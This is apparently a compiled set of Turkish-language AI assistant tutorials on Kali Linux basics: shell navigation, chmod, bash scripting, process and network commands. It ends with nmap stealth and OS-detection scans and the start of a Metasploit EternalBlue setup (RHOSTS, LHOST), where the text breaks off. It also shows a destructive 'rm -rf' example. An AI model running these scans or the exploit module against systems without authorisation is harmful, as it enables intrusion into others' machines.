kali linux sistem temel bilgilerini edinme, dizin komutları ve basit düzeyde bash script komutlarının teknik anlatımı ve örnekleri

Kali Linux'te temel sistem mantığı, diğer Linux dağıtımlarıyla aynıdır; her şey kök dizin `/` altında hiyerarşik bir ağaç yapısında organize edilir. Komut satırında dosya/dizin gezintisi ve basit Bash script yazmayı öğrenmek, siber güvenlik tarafındaki tüm araçları kullanırken sana büyük avantaj sağlar.[1] [2]

Kali'de dosya sistemi temeli

- Tüm dosya ve dizinlerin en tepesinde **root** dizin `/` bulunur. Diğer tüm dizinler bunun altında dallanır.[1] [2]
- Sık göreceğin bazı dizinler:
  - `/bin`: Temel komutlar (ör: `ls`, `cp`, `bash`).[1]
  - `/etc`: Sistem yapılandırma dosyaları (ör: `passwd`, `fstab`).[1]
  - `/home`: Kullanıcı dizinleri (`/home/kali` gibi).[1]
  - `/var`: Loglar ve değişken veriler (ör: `/var/log`).[1]
- Bu yapı, Kali, Ubuntu, Debian gibi dağıtımlarda büyük ölçüde aynıdır; bu yüzden birini öğrenince diğerlerine de kolayca uyum sağlarsın.[2]

Temel dizin/gezinti komutları

En çok kullanacağın temel komutlar:

- `pwd`
  - Bulunduğun dizinin tam yolunu (absolute path) gösterir.[3]
  - Örnek:

```
pwd
# /home/kali
```

- `ls`
  - Bulunduğun dizindeki dosya ve dizinleri listeler.[3]
  - Örnekler:

```
ls          # basit liste
ls -l       # detaylı liste (izinler, boyut vs.)
```

```
ls -a        # gizli dosyalarla birlikte
ls -lh       # boyutları insan okunur formatta
```

- `cd` (change directory)
  - Dizin değiştirir; `cd` tek başına ev dizinine götürür.[4] [3]
  - Örnekler:

```
cd /etc            # absolute path ile /etc'ye git
cd /var/log        # log dizinine git
cd ..              # bir üst dizine çık
cd ~               # kendi home dizinine git
cd ~/Desktop       # home içindeki Desktop'a git
```

- Dizin oluşturma/silme:
  - `mkdir`: Dizin oluşturur.[3]

```
mkdir test
mkdir -p projeler/kali/notlar   # ara dizinlerle beraber oluştur
```

  - `rmdir`: Sadece **boş** dizin siler.[3]

```
rmdir test
```

- Dosya kopyalama/taşıma/silme:
  - `cp`: Kopyalama.[3]

```
cp kaynak.txt hedef.txt
cp kaynak.txt /tmp/
cp -r dizin1 dizin2   # dizini içeriğiyle beraber kopyala
```

  - `mv`: Taşıma veya yeniden adlandırma.[3]

```
mv eski.txt yeni.txt
mv dosya.txt /home/kali/Desktop/
```

  - `rm`: Silme.

```
rm dosya.txt      # dosya sil
rm -r dizin1      # dizini içeriğiyle beraber sil
rm -rf dizin1     # uyarısız zorla sil (tehlikeli!)
```

Bash script temeli

Basit bir Bash script'in iskeleti:

- Script dosyası oluştur:

```
nano merhaba.sh
```

- İçerik örneği:

```
#!/bin/bash

echo "Merhaba Kali!"
```

- Çalıştırılabilir yap ve çalıştır:

```
chmod +x merhaba.sh
./merhaba.sh
```

Önemli noktalar:

- İlk satır `#!/bin/bash` satırı, script'in Bash yorumlayıcı ile çalıştırılacağını belirtir.[5]
- `chmod +x script.sh` ile script'e çalıştırma izni verilir; sonra `./script.sh` şeklinde çalıştırılır.[6]

Değişkenler, kullanıcı girdisi ve koşul

Basit değişken ve giriş örneği:

```
#!/bin/bash

isim="kali_kullanici"
echo "Merhaba $isim"

read -p "Adınızı girin: " ad
echo "Merhaba, $ad"
```

- Bir değişken atarken `=` etrafında boşluk **olmamalı**: `degisken=deger`.[7]
- Değeri kullanırken `$degisken` şeklinde çağırırsın.[7]
- `read -p "soru" degisken` kullanıcıdan giriş alır ve değişkene atar.[7]

Basit `if` örneği:

```
#!/bin/bash

read -p "Yaşınızı girin: " yas

if [ "$yas" -ge 18 ]; then
    echo "Yetiskinsiniz."
else
    echo "18 yasindan kucuksunuz."
fi
```

- `if [ koşul ]; then ... fi` yapısı ile koşul kontrolü yapılır.[5]
- Sayısal karşılaştırmalarda `-eq`, `-ne`, `-lt`, `-le`, `-gt`, `-ge` kullanılır.[5]

Basit döngü örnekleri

Sık kullanacağın iki temel döngü tipi: `for` ve `while`.[8] [5]

- `for` döngüsü ile liste üzerinde gezinme:

```
#!/bin/bash

for sayi in 1 2 3 4 5
do
    echo "Sayi: $sayi"
done
```

- `while` döngüsü ile sayaç:

```
#!/bin/bash

sayi=1

while [ "$sayi" -le 5 ]
do
    echo "Dongu: $sayi"
    sayi=$((sayi + 1))
done
```

- Bu tür döngüler, örneğin bir IP aralığını ping'lemek, bir dizindeki tüm dosyaları sırayla işlemek gibi siber güvenlik senaryolarında çok kullanışlıdır.[5] [7]

İstersen bir sonraki adımda:

- Sadece **dizin komutları** için mini egzersiz seti, veya
- Temel **siber güvenlik senaryolu** (log tarama, basit port kontrolü vb.) Bash script örnekleri hazırlayabilirim.

⁂

ls cd pwd komutlarının örnek kullanımları ve seçenekleri

`ls`, `cd` ve `pwd` komutları Linux'ta dizin yapısında gezinmek ve konumunu görmek için en temel araçlardır. Aşağıda her bir komutun sık kullanılan seçenekleri ve örnekleri yer alıyor.[24] [25] [26] [27]

pwd komutu

- Görev: Mevcut (çalışılan) dizinin tam yolunu ekrana yazdırır.[26] [27]

Temel kullanım:

```
pwd
```

```
# Örnek çıktı: /home/kali/Belgeler
```

Seçenekler:

- `pwd -L`: Mantıksal yolu yazdırır; ortam değişkenindeki `PWD` değerini kullanır, sembolik linkleri çözmeyebilir.[28] [26]
- `pwd -P`: Fiziksel yolu yazdırır; sembolik linkleri çözer, gerçek dizini gösterir.[26] [28]

Örnek:

```
pwd        # genelde mantıksal ya da varsayılan davranış
pwd -L     # sembolik link yolunu göster
pwd -P     # gerçek fiziksel yolu göster
```

cd komutu

- Görev: Çalışma dizinini değiştirmek için kullanılır.[29] [30] [24]

Temel kullanımlar:

```
cd /etc           # /etc dizinine geç
cd /var/log       # /var/log dizinine geç
cd                # home dizinine (ör: /home/kali) dön
cd ~              # yine home dizinine dön
cd ~/Masaüstü     # home altındaki Masaüstü dizinine geç
```

Üst dizin ve özel durumlar:

```
cd ..             # bir üst dizine çık
cd ../..          # iki üst dizine çık
cd -              # son bulunduğun iki dizin arasında ileri-geri geçiş
```

- `cd ..` ile üst dizine; `cd -` ile en son bulunduğun dizine hızlı geçiş yapabilirsin.[30] [29]

ls komutu

- Görev: İçinde bulunduğun (veya belirtilen) dizindeki dosya ve dizinleri listeler.[31] [32] [24]

Temel kullanım:

```
ls                # bulunduğun dizinin içeriğini listele
ls /etc           # /etc dizininin içeriğini listele
```

Sık kullanılan seçenekler:

```
ls -l             # uzun listeleme (izinler, sahip, boyut, tarih)
ls -a             # gizli dosyalar dahil (isimleri . ile başlayanlar)
ls -la            # hem uzun liste hem gizlileri göster
ls -h             # boyutları insan okunur (K, M, G) göster (genelde -l ile)
```

```
ls -lh           # ayrıntılı + okunabilir boyut
ls -R            # alt dizinleriyle birlikte rekürsif listeleme
ls -t            # dosyaları son değişiklik zamanına göre sırala
ls -r            # sıralamayı tersine çevir
```

Örnek kombinasyonlar:

```
ls -lh /var/log   # log dosyalarını detaylı ve okunabilir boyutta göster
ls -al            # gizli dosyalar dahil ayrıntılı listele
ls -ltr           # en eski üstte, en yeni altta olacak şekilde ayrıntılı liste
ls -R             # bulunduğun dizini ve tüm alt dizinleri listele
```

Bu üç komutla bol pratik yapmak, Kali üzerinde dosya sistemi içinde **rahat** gezebilmek için çok iyi bir temel oluşturur. İstersen bir sonraki adımda bunlarla ilgili mini egzersiz (örneğin "şu dizine git, şu dosyayı bul" tarzı görevler) önerebilirim.[27] [24]

⁂

chmod komutu örnek kullanımları ve seçenekleri

`chmod` komutu, bir dosya veya dizinin okuma (r), yazma (w) ve çalıştırma (x) izinlerini değiştirmek için kullanılır. İzinler hem harflerle (sembolik) hem de sayılarla (sayısal/oktal) verilebilir.[35] [36] [37]

Temel sözdizimi

- Genel biçim:
  ```
  chmod [seçenekler] MOD DOSYA
  ```
- Örnek:
  ```
  chmod 755 script.sh
  chmod u+rwx,g+rx,o-r dosya.txt
  ```

Sembolik (harfli) kullanım

Kullanıcı sınıfları:

- `u`: user (sahip)
- `g`: group (grup)
- `o`: others (diğerleri)
- `a`: all (hepsi: u,g,o)[36] [37]

İzinler:

- `r`: read (okuma)
- `w`: write (yazma)
- `x`: execute (çalıştırma)

- `+`: izin ekle
- `-`: izin kaldır
- `=`: izinleri aynen bununla değiştir[35] [36]

Örnekler:

```
# Sahibe çalıştırma izni ekle
chmod u+x script.sh

# Grup için okuma izni ekle, yazmayı kaldır
chmod g+r-w dosya.txt

# Sahip dışındaki herkesten okuma, yazma, çalıştırma izinlerini kaldır
chmod og-rwx gizli.txt

# Herkese okuma izni ekle
chmod a+r duyuru.txt

# Sahibe rwx, gruba r, diğerlerine izin yok
chmod u=rwx,g=r,o= dosya.txt
```

Bu biçim, özellikle "şu kişiye şu izni ekle/kaldır" gibi nokta atışı değişikliklerde çok kullanışlıdır.[37] [35]

Sayısal (oktal) kullanım

Her izin, sayısal bir değere karşılık gelir:

- `r` = 4
- `w` = 2
- `x` = 1[38] [35]

Sıra: `sahip-grup-diğerleri` (u-g-o). Her biri için 4+2+1 toplarsın.[39] [35]

Yaygın kombinasyonlar:

- `7` = 4+2+1 = rwx
- `6` = 4+2 = rw-
- `5` = 4+1 = r-x
- `4` = 4 = r--
  Örnekler:

```
chmod 644 dosya.txt    # u:rw-, g:r--, o:r--
chmod 600 gizli.key    # u:rw-, g:---, o:---
chmod 755 script.sh    # u:rwx, g:r-x, o:r-x
chmod 700 script.sh    # u:rwx, g:---, o:---
chmod 777 testdir      # herkes için rwx (genelde riskli)
```

Web sunucusu dosyalarında sık kullanılan değerler de genelde 644 (dosya) ve 755 (dizin) şeklindedir.[40] [35]

Önemli seçenekler

Yaygın seçenekler:

- `-R` / `--recursive`: Alt dizinler ve içindeki tüm dosyalar için izinleri **özyinelemeli** olarak uygular.[36] [35]
- `--reference=dosya`: İzinleri belirtilen referans dosyanınkiyle aynı yapar.[35] [36]
- `-v` / `--verbose`: Her dosya için ne yaptığını yazar.[36]

Örnekler:

```
# Bir dizin ve altındaki her şey için izinleri 755 yap
chmod -R 755 /var/www/proje

# Başka bir dosyadaki izinleri kopyala
chmod --reference=ornek.txt hedef.txt

# İşlemleri detaylı göster
chmod -v 644 *.log
```

Bu komutla çalışırken özellikle `-R` ve `777` kombinasyonunu (özellikle sistem dizinlerinde) dikkatli kullanmak, Kali gibi sistemlerde güvenliği korumak açısından çok kritiktir.[38] [35]

⁂

bash script basit değişken, parametre ve sistem tanımlı argümnları içeren açıklamalı örnek kodlar

Bash scriptlerde kendi tanımladığın **değişkenler**, komut satırından gelen **parametreler** (pozisyonel parametreler) ve kabuğun otomatik doldurduğu **özel değişkenler** ($0, $#, $@, $$, $?) beraber kullanılarak esnek ve tekrar kullanılabilir script'ler yazılır. Aşağıdaki kodlar, hepsini bir arada görebileceğin kısa ve açıklamalı örneklerdir.[45] [46] [47] [48] [49]

1. Basit değişken tanımı ve kullanımı

Değişkenleri atarken `=` etrafında boşluk **olmaz**, kullanırken başına `$` koyarsın.[47] [48]

```
#!/bin/bash

# Basit degiskenler
isim="kali_kullanici"
yas=25

echo "Merhaba $isim"
echo "Yasiniz: $yas"
```

```
# Degiskeni string icinde kullanma
mesaj="Hos geldin, $isim!"
echo "$mesaj"
```

- `isim="kali_kullanici"` ve `yas=25` ile iki basit değişken tanımlanır.[48] [47]
- Çift tırnak içinde `$isim` ve `$yas` çözümlenip değerleri ekrana yazılır.[47]

2. Komut satırı parametreleri: $0, $1, $2, $#

Komut satırında script'e verilen argümanlara "pozisyonel parametreler" denir: `$1`, `$2`...; `$0` script'in adıdır, `$#` argüman sayısını verir.[50] [51] [45]

```
#!/bin/bash
# dosya: bilgi.sh

echo "Script adi       : $0"
echo "1. arguman (ad)  : $1"
echo "2. arguman (sehir): $2"
echo "Toplam arguman   : $#"
```

Çalıştırma örneği:

```
chmod +x bilgi.sh
./bilgi.sh Ali Istanbul

# Cikti:
# Script adi       : ./bilgi.sh
# 1. arguman (ad)  : Ali
# 2. arguman (sehir): Istanbul
# Toplam arguman   : 2
```

- `$0` → `./bilgi.sh`, yani script'in ismi/yolu.[51] [45]
- `$1` ve `$2` → sırayla ilk ve ikinci argüman.[45]
- `$#` → toplam argüman sayısı; genelde argüman kontrolü için kullanılır.[52] [45]

3. Parametre kontrolü ve basit kullanım mesajı

Gelen argüman sayısı azsa, kullanıcıya doğru kullanımı gösteren küçük bir örnek:

```
#!/bin/bash
# dosya: kopyala.sh
# Kullanim: ./kopyala.sh kaynak hedef

if [ $# -ne 2 ]; then
    echo "Kullanim: $0 <kaynak_dosya> <hedef_dosya>"
    exit 1
fi

kaynak="$1"
hedef="$2"
```

```
echo "Kopyalaniyor: $kaynak -> $hedef"
cp "$kaynak" "$hedef"
echo "Islem bitti."
```

- `[ $# -ne 2 ]` ile tam 2 argüman olup olmadığı kontrol edilir.[50] [45]
- `$0` kullanım mesajında script adını dinamik göstermek için kullanılır.[45]
- `$1` ve `$2`, anlamlı değişken isimlerine (`kaynak`, `hedef`) atanarak kod daha okunur hale gelir.[53] [54]

4. Tüm argümanlar: $@ ve $*

Tüm argümanları dolaşmak için `$@` sık kullanılır; her argümanı ayrı eleman olarak verir.[52] [50] [45]

```
#!/bin/bash
# dosya: listele.sh

echo "Toplam arguman: $#"

echo "Argumanlar (tek tek):"
for arg in "$@"; do
    echo " - $arg"
done
```

Çalıştırma:

```
./listele.sh bir "iki uc" dort

# Toplam arguman: 3
# Argumanlar (tek tek):
#  - bir
#  - iki uc
#  - dort
```

- `"$@"` → her argümanı kendi halinde korur (içinde boşluk olsa bile).[46] [49] [50]
- `$*` ise çoğunlukla tüm argümanları tek bir string gibi birleştirir; genelde `"${@}"` tercih edilir.[49] [46] [52]

5. Özel sistem değişkenleri: $$, $?, $RANDOM

Bazı özel değişkenler Bash tarafından otomatik doldurulur.[55] [46] [49]

```
#!/bin/bash
# dosya: ozel.sh

echo "Script PID (proses ID): $$"

ls /etc >/dev/null 2>&1
echo "Son komutun cikis kodu: $?"
```

```
echo "Rastgele sayi: $RANDOM"
```

- `$$`: Çalışan script'in süreç (process) ID'si.[46] [49]
- `$?`: Son çalıştırılan komutun çıkış kodu (0 = başarılı, 0 dışı = hata).[49] [52]
- `$RANDOM`: 0–32767 arasında rastgele bir sayı üretir; basit testler için kullanılabilir.[56] [49]

İstersen bir sonraki adımda, bu kavramları kullanarak küçük bir **siber güvenlik odaklı** örnek script (örneğin "argüman olarak aldığı IP listesini tek tek ping'leyen" ya da log dosyasını filtreleyen) yazabiliriz.

⁂

bash scriptte basit açıklamalı bilgi toplama yöntemleri

Bash scriptlerle **bilgi toplama** derken genelde kullanıcıdan giriş alma, sistemden temel bilgiler çekme ve komut çıktılarından veri toplama (hostname, IP, disk, RAM, süreçler vb.) kastedilir. Aşağıdaki örnekler, açıklamalı ve basit seviyede bu yöntemleri gösterir.[65] [66] [67] [68]

Kullanıcıdan bilgi toplama (read)

```
#!/bin/bash
# dosya: kullanici_bilgi.sh

echo "Basit bilgi toplama scripti"

read -p "Adiniz: " ad
read -p "Yasiniz: " yas
read -p "Sehir: " sehir

echo
echo "----- Ozet -----"
echo "Ad   : $ad"
echo "Yas  : $yas"
echo "Sehir: $sehir"
```

- `read -p "Soru" degisken` ile kullanıcıdan veri alınır.[67] [65]
- Toplanan bilgiler değişkenlerde tutulup daha sonra ekrana yazılabilir veya dosyaya kaydedilebilir.[68]

Sistem bilgisini komutlarla toplama

Basit sistem bilgisi toplama script'i:

```
#!/bin/bash
# dosya: sistem_bilgi.sh
```

```
echo "===== Sistem Bilgisi ====="

echo "Tarih/Zaman : $(date)"
echo "Hostname    : $(hostname)"
echo "Kullanici   : $USER"

echo
echo "--- Isletim sistemi ---"
uname -a

echo
echo "--- IP adresleri ---"
ip a | grep "inet " | awk '{print $2}'

echo
echo "--- Disk kullanimi ---"
df -h /

echo
echo "--- Bellek kullanimi ---"
free -h
```

- `$(komut)` sözdizimi, bir komutun çıktısını değişken gibi kullanmayı sağlar.[65] [68]
- `date`, `hostname`, `uname`, `ip`, `df`, `free` gibi komutlar basit sistem envanteri çıkarırken sık kullanılır.[66] [69]

Bilgiyi dosyaya kaydetme (rapor)

Toplanan bilgiyi log/rapor dosyasına yazdırma:

```
#!/bin/bash
# dosya: sistem_rapor.sh

RAPOR="sistem_rapor_$(date +%Y%m%d_%H%M%S).txt"

{
    echo "===== SISTEM RAPORU ====="
    echo "Tarih/Zaman : $(date)"
    echo "Hostname    : $(hostname)"
    echo

    echo "--- Kullanici ---"
    echo "Aktif kullanici: $USER"
    echo

    echo "--- IP adresleri ---"
    ip a | grep "inet " | awk '{print $2}'
    echo

    echo "--- Disk (/ ) ---"
    df -h /
    echo

    echo "--- Bellek ---"
```

```
    free -h
} > "$RAPOR"

echo "Rapor olusturuldu: $RAPOR"
```

- `{ ... } > dosya` ile blok içindeki tüm çıktılar tek seferde dosyaya yönlendirilir.[65]
- Dosya adında `date +%Y%m%d_%H%M%S` kullanmak, her raporu zaman damgasıyla benzersiz yapar.[66]

Basit "canlı" bilgi: süreçler ve portlar

Çalışan süreçlerden ve açık portlardan hızlı bilgi toplama:

```
#!/bin/bash
# dosya: hizli_tarama.sh

echo "Calisan ilk 5 surec:"
ps aux | head -n 5

echo
echo "Dinleyen portlar:"
ss -tuln | head -n 10
```

- `ps aux` → tüm süreçleri listeler; `head -n 5` ile sadece ilk 5 satırı gösterilir.[69]
- `ss -tuln` → TCP/UDP dinleyen portları hızlıca listeler (eski `netstat -tuln` yerine önerilir).[69] [65]

İstersen bir sonraki adımda bu parçaları birleştirip, "kullanıcıdan hedef IP/alan adı alıp basit ping/port kontrolü yapan mini keşif script'i" şeklinde daha **siber güvenlik odaklı** bir örnek hazırlayabilirim.

⁂

süreç komutları ve seçenekleri

Linux'ta süreç (process) yönetimi için en sık kullanılan komutlar **ps**, **top/htop**, **kill/pkill/killall** ve **nice/renice**'tir. Bunlarla süreçleri listeleyebilir, izleyebilir, sonlandırabilir ve önceliklerini ayarlayabilirsin.[70] [71] [72] [73] [74] [75]

ps komutu

- Görev: Anlık süreç listesini verir; anlık "fotoğraf" çeker.[71] [76]

Temel kullanımlar:

```
ps                  # sadece mevcut shell'deki süreçler
ps -e               # sistemdeki tüm süreçler
ps -ef              # tam format, ağaç görünümü için genelde 'f'
ps aux              # tüm kullanıcıların tüm süreçleri (BSD stil)
```

```
ps aux --sort=-%mem # belleğe göre azalan sırala
ps aux --sort=-%cpu # CPU'ya göre azalan sırala
```

Kullanışlı bazı seçenekler:

- `-e` veya `-A`: Tüm süreçler.[77] [76]
- `-f`: “full” format (ebeveyn PID, vs.).[77]
- `aux`: BSD stil; `a` (tüm kullanıcılar), `u` (kullanıcı + detaylı çıktı), `x` (terminali olmayan süreçler).[76] [78]
- `-o`: Sadece istediğin sütunları göster.[78] [76]

Örnek:

```
ps aux -o pid,user,%cpu,%mem,command
ps aux | grep nginx        # nginx ile ilgili süreçleri filtrele
```

top ve htop

- `top`: Gerçek zamanlı süreç izleme; Linux’un “Görev Yöneticisi” gibi düşünebilirsin.[79] [70]
- `htop`: `top`’un daha renkli, etkileşimli ve kullanımı kolay versiyonu.[80] [81]

Temel:

```
top              # anlık süreç izle
top -u kali      # sadece belirli kullanıcının süreçleri
top -p 1234      # sadece belirli PID'yi izle
```

htop:

```
htop             # (paket yüklü olmalı)
htop -u kali     # sadece belirli kullanıcının süreçleri
```

htop içerisinde:

- `F3`: Arama, `F4`: filtreleme, `F5`: ağaç görünümü, `F9`: süreç öldürme, `F7/F8`: öncelik artır/azalt.[81]

kill, pkill, killall

- Görev: Bir sürece sinyal göndermek; en yaygını sonlandırma için kullanımıdır.[73] [74] [71]

kill (PID ile):

```
kill 1234          # varsayılan TERM (15) sinyali, kibarca sonlandır
kill -TERM 1234    # aynı
kill -KILL 1234    # KILL (9), zorla sonlandır (dikkatli kullan)
kill -9 1234       # KILL sinyali, kısa gösterimi
```

pkill (isimle):

```
pkill firefox      # adı 'firefox' olan süreçleri sonlandır
pkill -9 ping      # ping süreçlerini KILL ile zorla kapat
```

killall:

```
killall nginx      # tüm nginx süreçlerini sonlandır
```

- `TERM (15)`: Uygulamaya "kibarca bitir" der; temiz kapanma için tercih edilir.[73]
- `KILL (9)`: Çekirdekten doğrudan öldürme; süreç kendini temizleyemez, mecbur kalmadıkça kullanılmamalı.[73]

nice ve renice

- Görev: Süreç önceliğini (niceness) ayarlamak; -20 en yüksek, 19 en düşük önceliktir.[72] [82]

Yeni süreç başlatırken:

```
nice -n 10 komut arg1 arg2   # daha düşük öncelikle başlat
nice -n -5 komut             # daha yüksek öncelik (root gerekir)
```

Çalışan süreç için:

```
renice 5 -p 1234             # PID 1234 için nice değerini 5 yap
renice -5 -p 1234            # önceliğini artır (root gerekir)
```

- Sunucularda ağır bir işlemi arka planda daha az agresif çalıştırmak için yüksek "nice" değeri vermek sık kullanılır.[82] [72]

Bu komutlarla beraber pratik yaparken özellikle `ps aux`, `top/htop` ve `kill/killall/pkill` üçlüsünü Kali üzerinde bolca denemen, süreç yönetimi reflekslerini hızlıca güçlendirir.[75] [71] [73]

⁂

sık ve genel olarak bilgi toplamada kullanılan komutlar ve seçenekleri

Linux'te genel **bilgi toplama** için en sık kullanılan komutlar; sistem, donanım, disk, bellek ve ağ bilgilerini veren temel araçlardır. Aşağıda pratikte en çok işine yarayacak çekirdek komutlar ve tipik seçenekleri var.[90] [91] [92] [93]

Sistem ve dağıtım bilgisi

- `uname`

  ```
  uname          # sadece çekirdek adını göster
  uname -r       # kernel sürümü
  ```

```
uname -a       # çekirdek + host + mimari vb. tüm detay
```

Sistem çekirdeği ve mimari hakkında hızlı özet verir.[94] [92] [95]

- Dağıtım/OS sürümü

```
lsb_release -a     # distro adı, sürüm, kod adı (Debian/Ubuntu/Kali vb.)
cat /etc/os-release  # çoğu modern Linux'ta dağıtım bilgisi
hostnamectl        # hostname + OS + kernel özet
```

Hangi Linux dağıtımı ve sürümünü kullandığını net görmek için kullanılır.[96] [97] [98] [99]

Donanım, disk ve bellek

- Disk alanı (`df`)

```
df -h         # tüm diskleri insan okunur boyutla göster
df -h /       # sadece root (/) bölümünü göster
```

Disk doluluğu ve alan takibi için kullanılır.[92] [100] [93]

- Bellek (`free`)

```
free -h       # toplam, kullanılan, boş RAM ve swap
```

Sistem RAM kullanımına hızlı bakış sağlar.[93] [92]

- Blok aygıtları (`lsblk`)

```
lsblk         # diskler ve bölümler (sda, sda1 vb.)
lsblk -f      # dosya sistemi türü ve etiketleriyle
```

Disk yapısını ve bağlı bölümleri görmek için kullanılır.[101] [92]

- CPU bilgisi (`lscpu`)

```
lscpu         # çekirdek sayısı, mimari, CPU özellikleri
```

İşlemci mimarisi ve çekirdek detayları için kullanılır.[101] [92]

Ağ ve bağlantı bilgisi

- IP ve arayüzler

```
ip a              # tüm arayüzler ve IP adresleri
ip -br a          # kısa ve okunabilir özet
```

Sistem IP adreslerini ve arayüz durumunu gösterir.[94] [92]

- Portlar ve bağlantılar

```
ss -tuln          # dinleyen TCP/UDP portlar (modern, netstat yerine)
netstat -ntlp     # aktif bağlantılar + süreç bilgisi (eski ama hâlâ yaygın)
```

Hangi servislerin hangi portlarda dinlediğini görmek için kullanılır.[92] [94]

- Basit ağ testi (siber için de kritik)

```
ping hedeffqdn    # hedefe ICMP testi
traceroute hedef  # hedefe giden rota
```

Erişilebilirlik ve rota analizi için kullanılır.[102] [101]

Donanım alt bileşenleri

- PCI, USB, disk donanımı

```
lspci       # PCI aygıtları (ekran kartı, ağ kartı vb.)
lsusb       # USB aygıtları
lshw | less # detaylı donanım envanteri (root gerektirebilir)
```

Detaylı donanım keşfi ve sorun giderme için kullanılır.[91] [100] [101] [92]

Bu komutları Bash script'lerle birleştirerek kendi **sistem keşif** veya "kendi makinemin envanterini çıkar" script'lerini yazabilirsin. İstersen sıradaki adımda, bunların çoğunu kullanıp tek seferde rapor üreten örnek bir "bilgi toplama" script'i hazırlayabilirim.[97] [91]

⁂

ağ bilgileri komutları ve seçenekleri

Linux'ta **ağ bilgisi** toplamak için en sık kullanılan komutlar `ip`, `ss/netstat`, `ping`, `traceroute`, `nslookup/dig`, `curl/wget` ve bazen `arp`/`route`'tur. Bu komutlarla IP adresleri, arayüz durumu, portlar, DNS ve bağlantı durumunu hızlıca görebilirsin.[110] [111] [112] [113] [114]

Arayüz ve IP bilgisi

- `ip` (modern komut, `ifconfig` yerine önerilir):

```
ip a             # tüm arayüzler ve IP adresleri
ip -br a         # kısa ve okunabilir özet
ip link          # arayüzlerin link durumu (up/down)
ip route         # yönlendirme tablosu (default gateway vb.)
```

Arayüz durumunu, IP'leri ve varsayılan geçidi görmek için kullanılır.[111] [112] [115]

Eski ama hâlâ görülen:

```
ifconfig         # (çoğu sistemde net-tools paketi gerekebilir)
route -n         # eski yönlendirme tablosu görünümü
```

Yeni sistemlerde `ip` ailesi tercih edilir.[112] [111]

Portlar ve bağlantılar

- `ss` (önerilen, hızlı ve modern):

```
ss -tuln         # dinleyen TCP/UDP portlar (t:tcp, u:udp, l:listen, n:numeric)
ss -ntlp         # TCP bağlantıları + PID/program
ss -u            # UDP bağlantıları
```

  Hangi servislerin hangi portlarda dinlediğini ve hangi süreçle ilişkili olduğunu görmek için kullanılır.[111] [112]

- `netstat` (eski ama hâlâ yaygın):

```
netstat -tuln    # dinleyen TCP/UDP portlar
netstat -ntlp    # PID/program ile beraber
```

  Yeni kurulumlarda yerini `ss` alsa da pek çok dokümanda hâlâ geçer.[115] [112]

Basit bağlantı testleri

- `ping`:

```
ping 8.8.8.8         # Google DNS'e ping
ping -c 4 google.com # sadece 4 paket gönder
```

  Hedefe ulaşılıp ulaşılamadığını ve gecikme değerlerini test eder.[114] [116]

- `traceroute`:

```
traceroute google.com
```

  Hedefe giderken hangi router'lardan geçtiğini göstererek rota analizi yapar.[116] [114]

DNS ve isim çözümleme

- `nslookup`:

```
nslookup google.com      # alan adından IP öğren
nslookup 8.8.8.8         # IP'den ters DNS sorgusu
```

- `dig` (daha detaylı):

```
dig google.com           # A kaydı
dig google.com MX        # mail kayıtları
dig +short google.com    # kısa çıktı
```

  DNS kayıtlarını analiz etmek ve isim çözümleme sorunlarını incelemek için kullanılır.[112] [114] [116]

HTTP/servis erişimi

- `curl`:

  ```
  curl https://example.com
  curl -I https://example.com    # sadece HTTP başlıkları
  ```

- `wget`:

  ```
  wget https://example.com/dosya.zip
  ```

  Web servislerinin cevap verip vermediğini, HTTP durum kodlarını ve bazen içerik tipini görmek için kullanılır.[110] [116]

Yerel ağ ve komşular

- `arp`:

  ```
  arp -a          # ARP tablosu (IP <-> MAC eşleşmeleri)
  ```

  Aynı ağdaki bilinen cihazların MAC/IP eşleşmelerini gösterir.[112]

Bu komutları özellikle Kali'de siber güvenlik senaryolarında kullanırken; `ip` + `ss` ile ağ durumu, `ping`/`traceroute` ile erişilebilirlik, `dig`/`nslookup` ile DNS, `curl` ile servis testi şeklinde hızlı bir "ağ sağlık kontrolü" rutini oluşturabilirsin.[113] [116] [112]

⁂

siber güvenlik detaylı komutları ve seçenekleri metasploit nmap pentest ddos için her birine ait komutlar ve seçenekler

Bu araçlar, **yalnızca kendi izinli laboratuvar ortamında, yasal ve etik sınırlar içinde** kullanılmalıdır. Aşağıdaki komutlar, temelde "nasıl kullanılır, ne işe yarar" seviyesindedir; gerçek sistemlere karşı izinsiz kullanım hukuken suçtur.[117] [118] [119]

Nmap – Ağ keşfi ve port tarama

Temel sözdizimi:

```
nmap [seçenekler] hedef
```

Sık kullanılan taramalar:

```
nmap 192.168.1.10            # varsayılan tarama (en yaygın 1000 port)[web:117]
nmap 192.168.1.0/24          # tüm /24 ağı tara[web:120]
nmap -p 1-65535 hedeffqdn    # tüm portları tara[web:110]
```

```
nmap -sS hedeffqdn            # yarı açık SYN taraması (stealth)[web:117][web:120]
nmap -sT hedeffqdn            # tam TCP connect() taraması[web:110]
nmap -sU hedeffqdn            # UDP port taraması[web:117]
```

Bilgi toplama/enum komutları:

```
nmap -A hedeffqdn             # OS tespiti + servis versiyonu + NSE + traceroute[web:110]
nmap -sV hedeffqdn            # servis versiyon tespiti[web:110]
nmap -O hedeffqdn             # işletim sistemi tahmini[web:110]
nmap -Pn hedeffqdn            # host discovery kapalı (ping yapmadan tara)[web:110][web:1
nmap -sC hedeffqdn            # varsayılan NSE script'leri ile tarama[web:120][web:129]
```

Zamanlama/gizlenme:

```
nmap -T4 hedeffqdn            # daha hızlı tarama (aktif ağlarda sık kullanılır)[web:110]
nmap -T1 hedeffqdn            # yavaş/gizli tarama[web:110]
nmap --top-ports 100 hedeffqdn # en yaygın 100 port[web:113][web:120]
```

Çıktı alma:

```
nmap -oN sonuc.txt hedeffqdn   # normal çıktı dosyaya[web:110]
nmap -oG sonuc.gnmap hedeffqdn # grep'lenebilir çıktı[web:117]
nmap -oA tarama 192.168.1.0/24 # .nmap, .gnmap, .xml hepsini üret[web:110]
```

Metasploit (msfconsole) – Exploit framework

Başlatma:

```
msfconsole                    # Metasploit konsolünü aç[web:118][web:134]
```

Temel gezinme komutları:

```
help                          # komut listesini göster[web:118][web:137]
search smb                    # modül ara (isim, CVE, port vb.)[web:118]
use exploit/windows/smb/ms17_010_eternalblue  # modül yükle[web:118]
back                          # modülden çık[web:121]
exit                          # msfconsole'u kapat[web:118]
```

Modül bilgisi ve ayar:

```
info                          # seçili modül hakkında detay[web:118]
show options                  # gerekli parametreleri/opsiyonları göster[web:118]
show payloads                 # bu modül için uygun payload'ları göster[web:118]

set RHOSTS 192.168.1.10       # hedef IP (ya da aralık)[web:118]
set RPORT 445                 # hedef port[web:118]
set LHOST 192.168.1.5         # kendi IP'n (geri bağlantı için)[web:118]
```

```
